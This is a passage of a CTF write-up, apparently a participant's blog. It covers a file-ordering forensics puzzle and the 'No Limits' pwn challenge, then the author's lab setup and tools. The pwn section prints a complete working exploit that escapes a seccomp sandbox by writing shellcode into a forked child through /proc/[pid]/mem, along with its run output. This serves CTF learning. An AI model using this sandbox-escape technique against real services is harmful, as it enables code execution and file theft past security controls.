flag{88a2de68175f93f49f8b5abfaf18ba02}
flag{88a2de68175f93f48979d9c1a9bfc202}
flag{88a2de68175f93f48979d9c1af18ba02}
flag{88a2de68175f93f489795abfa9bfc202}
flag{88a2de68175f93f489795abfaf18ba02}
Total combinations: 32
It would be simple enough to just copy and paste these 32 flag possibilties until one of them worked, but lets explore for the intended solution. I tried the obvious things first:
- File timestamps? All over the place, some even overlap
- Inode numbers? Nothing useful
- PE header timestamps? Multiple files compiled at the same second
Dead ends everywhere.
Running out of things to try, I ran sha256sum on all the files to see if anything stood out:
$ sha256sum *
519579a8035f417f9712ff5de008cfffc30bd9048a76759eeeccbad578669919 4fb72a1a24.bin
6a85a5142db362292eaf5381be0e404916eda7cb7b0a10d662d48e51c0a23222 5e47.bin
c000308df0e0b23ae25bea530f1a55653d96e8781ada596d86e2ab090170dd69 5fa.bin
cda1612776677eaec749332d505c5071fbd92f207c69e5796ae80a6f076ac000 7b217.bin
21559486f1e3ce05d970091c5a516aa86fef86664f14b978fe24b770a840f3f5 8c14.bin
58798dd344f3d335f7248b8ed5ecd7e3f438146475adb7a7c38c22dde9000000 24b429c2b4f4a3c.bin
c6077559a3a6dfefbfbb08aad3e4c055e0fefa8d7755f24c74253f9f50000000 53bc247952f.bin
3607f4fbc21247e2910c3ab6d86bf9fecd7a5cf493e52850ccc21cf4f3114c00 8208.bin
425364d90285b957cb8ff1a151b5d3dc011b26c19ff8a8e6078f07503415deba 945363af.bin
db730b200c6290f7691c9ed6316ef2e23695ff989f1e036d5d8b9693a6d00000 a4c71d6229e19b0.bin
e2cf9b23f225400c99735683216627975b8b3e19d4a8f59fad5d0e77afdcafcc aa60783e.bin
af3dc02b97619ac833faf01811ebb868c900318d37dc074feb4052dd58a02cd0 c8c5833b33584.bin
f304c626549d4a79f9feff97721b8a5f3eae7c7006464ce255948a8400000000 c54940df1ba.bin
a7b57a5bc6bf84d2585e8561da4efe2542411d09e6bebe9dde52bfd1caffab34 d2f7.bin
fd57949e3211fce15429cb98c337bc87d81b8d55ca1dca10ec4b4e641afd0000 e1204.bin
45503b2f02879ea036cb1f4a77b48279610d141dcda79c92cecd53c837d4f178 f12f.bin
Wait, some of these have like 5 or 6 trailing zeros… SHA256 hashes should look basically random - that’s really weird. Scanning through the full list, I started seeing a pattern in the trailing digits:
c8c5833b33584.bin: ...dd58a02cd0 # 1 zero
8208.bin: ...f4f3114c00 # 2 zeros
7b217.bin: ...6f076ac000 # 3 zeros
e1204.bin: ...641afd0000 # 4 zeros
a4c71d6229e19b0.bin: ...93a6d00000 # 5 zeros
24b429c2b4f4a3c.bin: ...dde9000000 # 6 zeros
53bc247952f.bin: ...9f50000000 # 7 zeros
c54940df1ba.bin: ...8400000000 # 8 zeros
These trailing zeros form a clear sequence from 1 to 8, and we confirm that c8c5833b33584.bin contained flag{ and should definitely be in the first position while c54940df1ba.bin contains 02}. Using only these values, we can remove our duplicates and submit our assembled flag:
flag{be7a1e6817d85d549f8b5abfaf18ba02}
The clever part of this challenge is using SHA256 trailing zeros as an ordering mechanism. Once I spotted that pattern, I didn’t need to bruteforce through the permutations - the checksums told me exactly which 8 files mattered and what order they went in.
Day 30
⚒️ No Limits
/flag.txtnc $CHALLENGE_IP_ADDRESS 9999So first things first, let’s see what we’re working with:
$ file ./no_limits
./no_limits: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=82e8e5cbc52c712a36cf9a18426353bc4fcc57d2, for GNU/Linux 3.2.0, not stripped
The binary being “not stripped” is helpful because all the function names are still there, which makes reverse engineering way easier. Running nm shows us some interesting symbols:
$ nm ./no_limits
00000000004040c8 B __bss_start
00000000004040d8 b completed.8061
00000000004013d4 T CreateMemory
00000000004040b8 D __data_start
00000000004040b8 W data_start
00000000004040d9 B debug
00000000004012f0 t deregister_tm_clones
0000000000401795 T DisableDebug
00000000004012e0 T _dl_relocate_static_pie
0000000000401360 t __do_global_dtors_aux
0000000000403e08 d __do_global_dtors_aux_fini_array_entry
00000000004040c0 D __dso_handle
0000000000403e10 d _DYNAMIC
00000000004040c8 D _edata
0000000000401783 T EnableDebugMode
00000000004040e0 B _end
U exit@@GLIBC_2.2.5
U fflush@@GLIBC_2.2.5
U fgets@@GLIBC_2.2.5
0000000000401b48 T _fini
U fork@@GLIBC_2.2.5
0000000000401390 t frame_dummy
0000000000403e00 d __frame_dummy_init_array_entry
00000000004023d4 r __FRAME_END__
U free@@GLIBC_2.2.5
0000000000404000 d _GLOBAL_OFFSET_TABLE_
w __gmon_start__
00000000004021a0 r __GNU_EH_FRAME_HDR
0000000000401000 T _init
0000000000403e08 d __init_array_end
0000000000403e00 d __init_array_start
0000000000402000 R _IO_stdin_used
U __isoc99_scanf@@GLIBC_2.7
U __isoc99_sscanf@@GLIBC_2.7
0000000000401b40 T __libc_csu_fini
0000000000401ad0 T __libc_csu_init
U __libc_start_main@@GLIBC_2.2.5
00000000004017a7 T main
U malloc@@GLIBC_2.2.5
U memset@@GLIBC_2.2.5
00000000004013a1 T menu
U mmap@@GLIBC_2.2.5
U perror@@GLIBC_2.2.5
U printf@@GLIBC_2.2.5
0000000000401443 T ProtectProgram
U puts@@GLIBC_2.2.5
0000000000401320 t register_tm_clones
U seccomp_init
U seccomp_load
U seccomp_release
U seccomp_rule_add
0000000000401396 T Setup
U sleep@@GLIBC_2.2.5
U __stack_chk_fail@@GLIBC_2.4
00000000004012b0 T _start
00000000004040d0 B stdin@@GLIBC_2.2.5
U strncmp@@GLIBC_2.2.5
00000000004040c8 D __TMC_END__
The key functions that caught my eye:
CreateMemory- memory allocation could be importantEnableDebugMode/DisableDebug- debug functionalityProtectProgram- sounds like security measuresmenu- the main menu displaySetup- initialization stuffmain- entry point
I also noticed something interesting in the symbols: fork@@GLIBC_2.2.5. The program is using fork() to create a child process. This could be significant, so I’ll want to analyze main to see exactly how this fork is being used.
Let’s fire up the binary and see what these functions actually do. Whether you connect to the challenge or run the binary locally, you get four options:
1) Create Memory
2) Get Debug Informationn
3) Execute Code
4) Exit
Let’s explore what each one does.
Option 1: Create Memory
This option asks three questions: “How big do you want your memory to be?”, then “What permissions would you like for the memory?”, and finally “What do you want to include?”.
It allocates an RWX memory region that you control:
void* CreateMemory(size_t size, int perms) {
size = (size + 0xfff) & ~0xfff;
void* addr = mmap(NULL, size, perms | PROT_READ,
MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
return addr;
}
This looks perfect for shellcode injection:
- Size: You pick (e.g., 4096 bytes)
- Permissions: You control (7 = rwx = Read+Write+Execute)
- Address Leak: It tells you exactly where it allocated the buffer
So we can inject shellcode with execute permissions and know exactly where it is.
Option 2: Get Debug Information
This option reveals something interesting:
Debug information:
Child PID = 2122993
The program uses fork() to create a child process and leaks the PID.
Option 3: Execute Code
This is where things get interesting. It asks for an address and jumps to it-but there’s a catch. Looking at the disassembly:
if (menu_choice == 3) {
puts("Where do you want to execute code?");
scanf("%lx", &user_addr);
ProtectProgram(); // Installs seccomp filter
user_addr(); // Jumps to user code
}
It makes a call to ProtectProgram() before jumping to our code. We will need to analyze this further.
Option 4: Exit
Standard exit function. Nothing interesting here.
After playing with the menu options, I went back to analyze how fork() is being used. I disassembled main() to see what’s really happening, and this is where things got interesting:
int main() {
Setup();
pid_t child_pid = fork();
if (child_pid == 0) {
// CHILD PROCESS - runs in an infinite loop
void* buf = malloc(0x100);
while (1) {
strcpy(buf, "Hello world!\n");
if (strncmp(buf, "Give me the flag!", 0x11) == 0)
printf("I will not give you the flag!");
if (strncmp(buf, "exit", 4) == 0)
break;
sleep(5);
}
} else {
// PARENT PROCESS - handles our menu interaction
while (1) {
puts("Enter the command you want to do:");
menu();
// ... handle menu options ...
}
}
}
This is huge, the program forks into two processes:
- Child: Runs a simple loop, sleeps repeatedly, and crucially, does NOT execute
ProtectProgram() - Parent: Handles the menu and executes
ProtectProgram()before running option 3
They have separate memory spaces, but we interact with the parent through the menu.
So lets look at what ProtectProgram() actually does - disassembling it reveals a seccomp filter with a syscall allow-list:
Allowed Syscalls
| # | Syscall | Purpose |
|---|---|---|
| 1 | write | Write to file descriptor |
| 2 | open | Open files |
| 4 | stat | File status |
| 5 | fstat | File descriptor status |
| 6 | lstat | Link status |
| 8 | lseek | Seek within file |
| 10 | mprotect | Change memory protection |
| 12 | brk | Change data segment |
| 21 | access | Check file permissions |
| 24 | sched_yield | Yield CPU |
| 32 | dup | Duplicate file descriptor |
| 33 | dup2 | Duplicate to specific FD |
| 56 | clone | Create child process |
| 57 | fork | Fork process |
| 58 | vfork | Virtual fork |
| 60 | exit | Exit process |
| 62 | kill | Send signal |
| 96 | gettimeofday | Get time |
| 102 | getuid | Get user ID |
| 104 | getgid | Get group ID |
| 231 | exit_group | Exit all threads |
Blocked Syscalls (The Important Ones)
| # | Syscall | Why We’d Want It |
|---|---|---|
| 0 | read | Can’t read /flag.txt without it |
| 59 | execve | Can’t spawn /bin/sh |
Plus most network syscalls - no direct network communication, and this is why traditional shellcode approaches won’t work. You can’t just run /bin/sh or read /flag.txt directly. We’ve got to work within what’s explicitly allowed.
So here’s where we are… we’ve got a child process with no seccomp restrictions (it never calls ProtectProgram()), a parent process that can use open, lseek, and write, and we know the child’s PID from menu option 2.
Linux provides a special file that gives direct access to another process’s memory: /proc/[PID]/mem. If we can write to /proc/[child_pid]/mem, we can inject code into the child process, which has no sandbox restrictions.
Looking at the child’s disassembly, I found this repeatedly-executed instruction at 0x4018a6:
4018a6: eb 88 jmp 401830
This is a simple jmp instruction in the child’s main loop. It’s only 2 bytes, making it easy to overwrite and the child executes this address naturally during its loop. If we overwrite this with our shellcode, the child will execute it without any seccomp restrictions.
At this point, I understood enough to start writing the exploit. Here’s what needs to happen:
Stage 1: The Patcher
- Runs in the parent process (under seccomp)
- Opens
/proc/[child_pid]/mem - Seeks to address
0x4018a6in the child - Writes the Stage 2 shellcode there
- Loops forever
Stage 2: The Payload
- Placed at
buffer_address + 0x100 - Simple shellcode:
cat /flag.txt - Executes when the child naturally reaches
0x4018a6 - No seccomp restrictions because it’s running in the child
Building Stage 1: The Patcher
Stage 1 is the clever part as it’s got to work within the seccomp constraints. First, let’s build /proc/[PID]/mem in memory and since we can’t use string literals in shellcode, we construct it on the stack:
def make_proc_mem_qwords(child_pid: int):
"""Builds /proc/{pid}/mem string as two 64-bit values"""
proc_mem = f"/proc/{child_pid}/mem".ljust(16, '\x00')
# Split into two 8-byte chunks (reversed for little-endian)
part1 = "0x" + proc_mem[0:8][::-1].encode('ascii').hex()
part2 = "0x" + proc_mem[8:16][::-1].encode('ascii').hex()
return part1, part2
For example, if child_pid = 1234:
proc_mem:/proc/1234/mem\x00\x00\x00\x00part1:0x636f72702f(reversed bytes for “/proc”)part2:0x6d656d2f34333231(reversed bytes for “1234/mem”)
Next, here’s the complete Stage 1 shellcode using open, lseek, and write which are all allowed syscalls to patch the child’s memory:
def build_stage1_patcher(part1: str, part2: str, stage2_len: int):
"""
Builds the Stage 1 Patcher Shellcode.
This runs under seccomp and patches the child process.
"""
sc = f'''
/* Build /proc/PID/mem string on stack */
mov r9, {part2}
push r9
mov r9, {part1}
push r9
push rsp
pop rdi /* rdi = pointer to string */
/* Open /proc/child_pid/mem */
mov rsi, 2 /* O_RDWR */
mov rdx, 0
mov rax, 2 /* open syscall */
syscall
mov rdi, rax /* rdi = file descriptor */
/* Seek to target address in child */
mov rsi, {PATCH_ADDRESS} /* offset = 0x4018a6 */
mov rdx, 0 /* SEEK_SET */
mov rax, 8 /* lseek syscall */
syscall
/* Write Stage 2 payload to child's memory */
mov rax, 1 /* write syscall */
mov rsi, r10
add rsi, 0x100 /* rsi = buffer + 0x100 */
mov rdx, {stage2_len} /* length */
syscall
/* Loop forever - our job is done */
loop:
jmp loop
'''
return asm(sc)
Building Stage 2: The Payload
Stage 2 is simpler because it runs in the child with no seccomp restrictions:
stage2_payload = asm(shellcraft.cat("/flag.txt", 1))
This generates shellcode that opens /flag.txt, reads its contents, then writes to file descriptor 1 (stdout, which is our network socket)… and since the child has no seccomp filter, the read syscall works perfectly here.
Here’s the full exploit:
#!/usr/bin/env python3
from pwn import *
import sys
HOST, PORT = "10.1.125.155", 9999
PATCH_ADDRESS = 0x4018a6
context.arch = 'amd64'
context.bits = 64
context.log_level = 'info'
def make_proc_mem_qwords(child_pid: int):
"""Builds the /proc/{pid}/mem parts"""
proc_mem = f"/proc/{child_pid}/mem".ljust(16, '\x00')
part1 = "0x" + proc_mem[0:8][::-1].encode('ascii').hex()
part2 = "0x" + proc_mem[8:16][::-1].encode('ascii').hex()
return part1, part2
def build_stage1_patcher(part1: str, part2: str, stage2_len: int):
"""
Builds the Stage 1 Patcher Shellcode.
This runs under seccomp and patches the child process.
"""
sc = f'''
/* Build /proc/PID/mem string on stack */
mov r9, {part2}
push r9
mov r9, {part1}
push r9
push rsp
pop rdi /* rdi = pointer to string */
/* Open /proc/child_pid/mem */
mov rsi, 2 /* O_RDWR */
mov rdx, 0
mov rax, 2 /* open syscall */
syscall
mov rdi, rax /* rdi = file descriptor */
/* Seek to patch address */
mov rsi, {PATCH_ADDRESS} /* offset = 0x4018a6 */
mov rdx, 0 /* SEEK_SET */
mov rax, 8 /* lseek syscall */
syscall
/* Write Stage 2 payload */
mov rax, 1 /* write syscall */
mov rsi, r10
add rsi, 0x100 /* rsi = buffer + 0x100 (Stage 2 location) */
mov rdx, {stage2_len} /* length */
syscall
/* Loop forever (Stage 1 is done) */
loop:
jmp loop
'''
return asm(sc)
# Connect to target
io = remote(HOST, PORT)
# ===== Get child PID =====
io.sendlineafter(b'Exit', b'2')
io.recvuntil(b'Child PID =')
child_pid = int(io.recvline().strip())
log.info(f'Got child PID: {child_pid}')
# ===== Build both payloads =====
# Stage 2: cat /flag.txt to socket
stage2_payload = asm(shellcraft.cat("/flag.txt", 1))
stage2_len = len(stage2_payload)
# Stage 1: patcher that injects Stage 2
part1, part2 = make_proc_mem_qwords(child_pid)
stage1 = build_stage1_patcher(part1, part2, stage2_len)
# ===== Allocate RWX memory =====
io.sendlineafter(b'Exit', b'1')
io.sendlineafter(b'to be?', b'4096')
io.sendlineafter(b'permissions', b'7') # rwx
# Send combined payload: Stage 1 at offset 0, Stage 2 at offset 0x100
shellcode_complete = stage1.ljust(0x100, b'\x90') + stage2_payload
io.sendlineafter(b'include?', shellcode_complete)
io.recvuntil(b'Wrote your buffer at ')
address = int(io.recvline(), 16)
log.info(f'Payload allocated at: {hex(address)}')
# ===== Execute Stage 1 =====
io.sendlineafter(b'Exit', b'3')
io.sendlineafter(b'execute code?', hex(address).encode())
# ===== Wait for flag =====
log.info('Exploit sent. Waiting for flag...')
response = io.recvline()
if response:
log.success('FLAG FOUND!')
flag = io.recv(timeout=5.0)
print(flag.decode("latin-1", errors="replace"))
else:
log.failure('Exploit ran but returned no data.')
io.close()
Running this:
$ python solve.py
[+] Opening connection to 10.1.125.155 on port 9999: Done
[*] Got child PID: 9
[*] Payload allocated at: 0x7543f8e00000
[*] Exploit sent. Waiting for flag...
[+] FLAG FOUND!
flag{6f6c733424f20f22303fd47aeb991425}
[*] Closed connection to 10.1.125.155 port 9999
Perfect!
The exploit works because fork() creates processes with different security contexts. The parent has seccomp restrictions, but the child doesn’t. By using the allowed syscalls (open + lseek + write) to write to /proc/[child_pid]/mem, we patch the child’s code at address 0x4018a6. When the child naturally reaches that address in its loop, it executes our unrestricted shellcode and reads the flag.
The key was realizing that /proc/[pid]/mem is treated as a regular file by seccomp, even though it provides direct access to another process’s memory. We didn’t break the sandbox… we just executed our code somewhere the sandbox didn’t apply.
Playing Catch-Up
Joining a week late put me behind many challenges right from the start. Most participants had already established their rhythm, teams were coordinating strategies, and the leaderboards were filling up. I spent the first couple days grinding through the backlog while also keeping up with new challenges as they dropped daily.
Within three days, I’d closed the gap and started placing in the top 10 for daily challenge solves. For several challenges, I was the 2nd or 4th fastest solve, which kept me competitive in the overall standings. The final week ramped up significantly. Challenges like “Rust Tickler 3” and “No Limits” required more time and deeper analysis than the earlier ones. I wasn’t first to solve many of these - the competition at the top was fierce but I held my own and maintained a top 50 position while solving every single challenge that was released.
The Infrastructure
I ran this CTF on a Windows desktop with Hyper-V. I set up a small isolated network using a FortiGate VM as the gateway… this let me analyze potentially malicious traffic and make external connections from the CTF VMs while keeping my host and local network protected. The main VMs I used:
- Kali Linux - Primary workspace for web exploitation, OSINT, reverse engineering, and general tooling
- FlareVM - Windows-based analysis environment with all the analysis tools pre-installed
- FortiGate VM - Network isolation and traffic inspection, easily adjust networking or routing needs
Core Toolkit
Reverse Engineering & Binary Analysis
- Binary Ninja - My go-to for disassembly and decompilation. The BNIL views makes understanding obfuscated code much easier and new TDD features are fantastic.
- Ghidra - When I needed a second opinion on decompilation or wanted to use specific plugins.
- radare2/rizin - Command-line binary analysis, great for quick checks and scripting.
- gdb with pwndbg** - Essential for dynamic analysis and exploitation development.
- objdump, strace, ltrace, strings - Standard Linux utilities for quick binary inspection and system call tracing.
Web & Network
- Burp Suite - Security testing of web applications.
- curl - Command line tool for transferring data with URLs.
- Wireshark - Network traffic analysis for forensics challenges.
Malware Analysis
- any.run - Online malware sandbox for quick behavioral analysis. Saved me tons of time on suspicious samples.
- PowerDecode - Fastest way to deobfuscate PowerShell scripts. Many malware samples used heavily obfuscated PowerShell.
- PE Explorer - PE file analysis, resource extraction, and header inspection.
- System Informer (formerly Process Hacker) - Watching what malware does in real-time, better than Task Manager.
- HxD - Hex editor for binary analysis and modification.
Forensics & Data Recovery
- Autopsy - Disk image analysis.
- Notepad - For viewing file metadata and strings. Sometimes the simplest tools work best.
- binwalk - Finding embedded files in binary blobs.
- CyberChef - The Swiss Army knife for encoding/decoding/transforming data.
Development & Scripting
- VS Code - Primary editor for Python scripts and general code work.
- pwntools - Python library for binary exploitation. Used heavily for the pwn challenges.
Closing Thoughts
Finishing in the top 50 out of 9,500+ participants with a 100% solve rate while competing solo against teams was rewarding. The CTF ran for 31 days with new challenges dropping regularly, which meant staying engaged every single day to maintain position in the leaderboards.
What I appreciated most about Huntress CTF was the challenge variety and quality. Each category had problems ranging from beginner-friendly to fun and challenging, and the harder challenges required combining multiple techniques like “No Limits” which needed reverse engineering, shellcoding, and Linux internals knowledge.
If you’re looking to improve your CTF skills, I’d recommend:
- Practice consistently - Platforms like HackTheBox, TryHackMe, and PicoCTF have year-round challenges.
- Read other writeups - Even if you solved a challenge, seeing alternative approaches teaches you new techniques. CTFtime aggregates writeups from various CTFs.
- Build a lab environment - Having VMs and tools ready to go saves time during competitions. Snapshot everything.
- Script repetitive tasks - The time you spend writing a script during the CTF usually pays off when you hit similar problems later.
Thanks to the Huntress Labs team, John Hammond, @JohnHammond, and everyone who built these challenges. Looking forward to competing again next year.